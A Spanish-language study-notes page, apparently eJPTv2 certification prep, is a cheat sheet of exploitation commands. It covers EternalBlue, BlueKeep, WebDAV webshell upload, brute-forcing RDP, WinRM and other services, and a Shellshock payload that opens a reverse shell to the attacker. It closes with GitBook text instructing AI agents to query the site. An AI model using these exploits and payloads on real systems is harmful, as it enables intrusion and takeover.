> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/recursos/ejptv2-notas/4.-explotacion.md). # 4. Explotación La fase de explotación es donde se usa la información recopilada para obtener acceso al sistema objetivo. El objetivo es conseguir un foothold — un punto de apoyo inicial desde el que escalar privileg *** ### Explotación de Windows #### EternalBlue (SMBv1) ```bash # Con Metasploit use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.1 set LHOST tu_ip set LPORT 4444 run ``` Explotación exitosa da sesión Meterpreter como NT AUTHORITY\SYSTEM directamente. **Sin Metasploit (AutoBlue)** ```bash git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git cd AutoBlue-MS17-010/shellcode ./shell_prep.sh # genera shellcode (pide IP y puerto) # Terminal 1: listener ./listener_prep.sh # Terminal 2: exploit python eternalblue_exploit7.py 10.10.10.1 shellcode/sc_all.bin ``` #### BlueKeep (RDP) ```bash use exploit/windows/rdp/cve_2019_0708_bluekeep_rce set RHOSTS 10.10.10.1 set LHOST tu_ip set TARGET [seleccionar versión de Windows] run ``` Requiere seleccionar el target correcto. Target incorrecto puede causar BSOD en el objetivo. #### WebDAV en Microsoft IIS **Qué es WebDAV** Extensiones de HTTP que permiten editar y administrar archivos en servidores web remotos. Si un atacante obtiene credenciales, puede subir webshells. **IIS** soporta extensiones: `.asp`, `.aspx`, `.config`, `.php` **Proceso** 1. Identificar si WebDAV está configurado 2. Obtener credenciales 3. Determinar qué archivos se pueden subir y ejecutar 4. Subir webshell y obtener RCE ```bash # Detectar WebDAV nmap -p 80 --script=http-webdav-scan 10.10.10.1 # Fuerza bruta de credenciales hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.1 http-get /webdav/ # davtest — qué archivos se pueden subir y ejecutar davtest -url http://10.10.10.1/webdav/ -auth usuario:password # cadaver — subir webshell cadaver http://10.10.10.1/webdav/ dav:/webdav/> put /ruta/webshell.asp # Acceder a la webshell # http://10.10.10.1/webdav/webshell.asp ``` **Metasploit** ```bash use exploit/windows/iis/iis_webdav_upload_asp set RHOSTS 10.10.10.1 set HttpUsername usuario set HttpPassword password set PATH /webdav/ run ``` #### RDP — Fuerza bruta ```bash # Escáner use auxiliary/scanner/rdp/rdp_scanner # Fuerza bruta hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.1 # Conexión xfreerdp /u:usuario /p:password /v:10.10.10.1 /cert:ignore ``` #### WinRM — Fuerza bruta ```bash # Fuerza bruta crackmapexec winrm 10.10.10.1 -u administrator -p /usr/share/wordlists/rockyou.txt # Ejecutar comandos crackmapexec winrm 10.10.10.1 -u administrator -p password -x "whoami" # Shell interactiva evil-winrm -i 10.10.10.1 -u administrator -p password # Metasploit use exploit/windows/winrm/winrm_script_exec ``` *** ### Explotación de Linux #### Shellshock (Bash/CGI) **Explotación manual con Burp Suite** 1. Navegar al script CGI en el navegador 2. Interceptar con Burp → enviar al Repeater 3. Reemplazar User-Agent: ``` User-Agent: () { :;}; echo; /bin/bash -c 'whoami' ``` Si devuelve el output del comando, hay RCE. Reverse shell: ``` User-Agent: () { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/tu_ip/4444 0>&1' ``` Listener previo: `nc -lvnp 4444` **Metasploit** ```bash use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOSTS 10.10.10.1 set TARGETURI /cgi-bin/script.sh set LHOST tu_ip run ``` *** ### Herramienta de fuerza bruta: Hydra Soporta múltiples protocolos: ```bash # FTP hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.1 # SSH hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.1 # HTTP POST hydra -l admin -P /usr/share/wordlists/rockyou.txt \ 10.10.10.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" # SMB hydra -l admin -P /usr/share/wordlists/rockyou.txt smb://10.10.10.1 # RDP hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.1 # MySQL hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.1 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://oliver-3.gitbook.io/redteam-notes/recursos/ejptv2-notas/4.-explotacion.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.